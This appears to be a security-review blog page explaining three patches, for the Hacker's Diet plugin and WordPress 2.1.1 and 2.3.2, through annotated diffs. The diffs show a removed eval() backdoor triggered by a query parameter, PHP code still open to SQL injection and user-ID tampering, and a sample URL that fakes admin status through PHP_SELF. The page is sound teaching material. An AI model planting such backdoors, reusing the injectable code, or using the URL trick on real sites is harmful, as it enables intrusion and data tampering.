| DetailsAffected Software:The Hackers Diet Fixed in Version:9.7b Issue Type:Cross Site Scripting (XSS) Original Code:Found Here DescriptionFirst,some logistics… the code we’re looking at belongs to the “Weight_save.php” file which is part of the “Hackers Diet” WordPress plugin. This plugin was created to “Help you track and predict weight loss using your WordPress blog”. A single change was made to the Weight_save.php for this changelist. The single change simply removes an obvious XSS bug in which POST parameters are printed to HTML markup. This line was likely being used for debugging purposes and was forgotten during release to production. A more robust testing and release process would have caught this. Although the developers prevented an XSS vulnerability,they completely overlooked several other issues. IndigoMann (via blog comments) noticed XSS and SQL Injection in this code… The one issue that jumps out at me is this line: $user_id = $_POST["user"];
I always become very suspicious when an application passes user_id’s back and forth. Ideally,this data should be stored via session state,otherwise an attacker could pass an arbitrary value and access (and possibly update) another user’s data. Looking at the code,it appears this may be the case with the Hacker Diet plugin. Developers Solution<?// get our db settings without loading all of wordpress every save$html = implode('',file("../../../wp-config.php"));$html = str_replace ("require_once","// ",$html);$html = str_replace ("<?php","",$html);$html = str_replace ("?>","",$html);eval($html);if (isset($_POST["id"]) &&isset($_POST["user"]) &&is_numeric($_POST["user"]) &&isset($_POST["content"]) &&is_numeric($_POST["content"])){$date = substr($_POST["id"],7);$user_id = $_POST["user"];$weight = round($_POST["content"],1)} else{-print_r($_POST);+//print_r($_POST);echo "Please enter a valid number for your weight.";exit}mysql_connect(DB_HOST,DB_USER,DB_PASSWORD);mysql_select_db(DB_NAME);$query = "update ".$table_prefix."hackdiet_weightlog set weight = $weight where wp_id = $user_id and date = \"".date("Y-m-d",$date)."\"";mysql_query($query);if (mysql_affected_rows() != 1){// record doesn't exist yet,lets create it$query = "insert into ".$table_prefix."hackdiet_weightlog set date = \"".date("Y-m-d",$date)."\",weight = $weight,wp_id = $user_id";mysql_query($query);if (mysql_affected_rows() != 1){echo "Save failed. - ". mysql_error();exit()} else{echo htmlspecialchars($weight)}} else{echo htmlspecialchars($weight)}$query = "select trend from ".$table_prefix."hackdiet_weightlog where wp_id = $user_id and date <\"".date("Y-m-d",$date)."\"order by date desc limit 1";$result = mysql_query($query);if (mysql_num_rows($result) == 1){$trend = mysql_result($result,0);$use_first_weight_as_trend = false} else{// no trends exist below this entry,we must be first. so in next query,we need to grab today's weight to be trend 1$use_first_weight_as_trend = true}$query = "select date,weight,trend from ".$table_prefix."hackdiet_weightlog where wp_id = $user_id and date >= \"".date("Y-m-d",$date)."\"order by date asc";$result = mysql_query($query);while ($entry = mysql_fetch_assoc($result)){if ($use_first_weight_as_trend){$trend = $entry["weight"];$use_first_weight_as_trend = false} else{// exponentially smoothed moving average with 10% smoothing$trend = $trend + 0.1 * ($entry["weight"] - $trend)}$entry["trend"] = $trend;$weights[] = $entry}foreach ($weights as $entry){$query = "update ".$table_prefix."hackdiet_weightlog set trend = ".round($entry["trend"],1)."where wp_id = $user_id and date = \"".$entry["date"]."\"";mysql_query($query)}// 0 will always be the edited date,since the list contains the edited entry + all the ones after it,sorted asc.$dif = round($weights[0]["weight"] - $weights[0]["trend"],1);echo "<span class=\"trend_dif ".(($dif <0)?"good_trend":"bad_trend")."\">$dif</span>";?>DetailsAffected Software:WordPress Fixed in Version:2.1.1 Issue Type:Command Injection Original Code: Found Here DescriptionThis example was actually a backdoor someone had planted in WordPress 2.1.1. Apparently,someone either broke into the wordpress server or hacked a wordpress dev account and inserted this back door. The back door was simple,create a function which simply calls eval on a arguments passed to it. The attacker named this function “comment_text_phpfilter()” and the contents of the function are provided below: function comment_text_phpfilter($filterdata){ eval($filterdata); }
Several lines later,the attacker planted a mechanism to call the backdoor. In this case,the attacker checked for the presense of the “ix” parameter being passed via the querystring. If the “ix” querystring parameter was present,the value assigned to “ix” would be passed to “comment_text_phpfilter()”,which would pass the attacker supplied value to eval(). if ($_GET["ix"]){comment_text_phpfilter($_GET["ix"]);}
Developers Solution1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| function comment_author_rss() { echo get_comment_author_rss(); }
-function comment_text_phpfilter($filterdata) { -eval($filterdata); -}
function comment_text_rss() { $comment_text = get_comment_text(); $comment_text = apply_filters('comment_text_rss',$comment_text); echo $comment_text; }
function comments_rss_link($link_text = 'Comments RSS',$commentsrssfilename = '') { $url = comments_rss($commentsrssfilename); echo "<a href='$url'>$link_text</a>"; }
...
function get_category_rss_link($echo = false,$cat_ID,$category_nicename) { $permalink_structure = get_option('permalink_structure');
if ( '' == $permalink_structure ) { $link = get_option('home') . '?feed=rss2&cat=' . $cat_ID; } else { $link = get_category_link($cat_ID); $link = $link . "feed/"; }
$link = apply_filters('category_feed_link',$link);
if ( $echo ) echo $link; return $link; }
-if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]);}
function get_the_category_rss($type = 'rss') { $categories = get_the_category(); $the_list = ''; foreach ( (array) $categories as $category ) { $category->cat_name = convert_chars($category->cat_name); if ( 'rdf' == $type ) $the_list .= "\n\t\t<dc:subject><![CDATA[$category->cat_name]]></dc:subject>\n"; else $the_list .= "\n\t\t<category><![CDATA[$category->cat_name]]></category>\n"; } return apply_filters('the_category_rss',$the_list,$type); } |
DetailsAffected Software:WordPress Fixed in Version:2.3.2 Issue Type: Privilege Escalation Original Code:Found Here DescriptionThe vulnerable code here deals with the use of the $_SERVER[‘PHP_SELF’] global variable. PHP_SELF has a few quirks that are not well understood by many developers and can easily introduce security issues in web applications. If we take a look at the PHP manual page for $_SERVER[‘PHP_SELF’],we see the following: The filename of the currently executing script,relative to the document root. For instance,$_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar.
Examining the example provided in the PHP manual page,we see that an attacker is free to specify an arbitrary value (foo.bar) after a valid php file (test.php). This arbitrary value will be included in the $_SERVER[‘PHP_SELF’] global variable. Examining the vulnerable WordPress source code,we see that the WordPress developers used the PHP strpos() function to check to whether the $_SERVER[‘PHP_SELF’] global variable contained the string “wp-admin/”. If the strpos() function found the “wp-admin/” string within the $_SERVER[‘PHP_SELF’] variable,it would return TRUE which resulted in the setting of the “is_admin”value to true. This ultimately granted the user administrative rights to certain portions of the web application. The attacker could easily craft a request for a valid php file,while injecting the “wp-admin/” string into the $_SERVER[‘PHP_SELF’]. Such a request would look something like this: http://wordpressblog.com/index.php/wp-admin/ The request above will request index.php from the server while setting the $_SERVER[‘PHP_SELF’] variable to /index.php/wp-admin/. This tricks the vulnerable WordPress code into assuming the user is an administrator and grants the user administrative access to certain pages on the blog. The WordPress developers addressed this vulnerability by removing the faulty checks and adding a function which was designed to determine whether the user has administrative privilege. Developers Solution1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| if ( '' != $qv['tb'] ) $this->is_trackback = true;
if ( '' != $qv['paged'] ) $this->is_paged = true;
if ( '' != $qv['comments_popup'] ) $this->is_comments_popup = true;
// if we're previewing inside the write screen if ('' != $qv['preview']) $this->is_preview = true;
- if ( strpos($_SERVER['PHP_SELF'],'wp-admin/') !== false ) + if ( is_admin() ) $this->is_admin = true;
if ( false !== strpos($qv['feed'],'comments-') ) { $qv['feed'] = str_replace('comments-','',$qv['feed']); $qv['withcomments'] = 1; }
$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
if ( $this->is_feed &&( !empty($qv['withcomments']) || ( empty($qv['withoutcomments']) &&$this->is_singular ) ) ) $this->is_comment_feed = true;
if ( !( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_comments_popup ) ) $this->is_home = true;
// Correct is_* for page_on_front and page_for_posts if ( $this->is_home &&( empty($this->query) || $qv['preview'] == 'true' ) &&'page' == get_option('show_on_front') &&get_option('page_on_front') ) { $this->is_page = true; $this->is_home = false; $qv['page_id'] = get_option('page_on_front'); } |
| |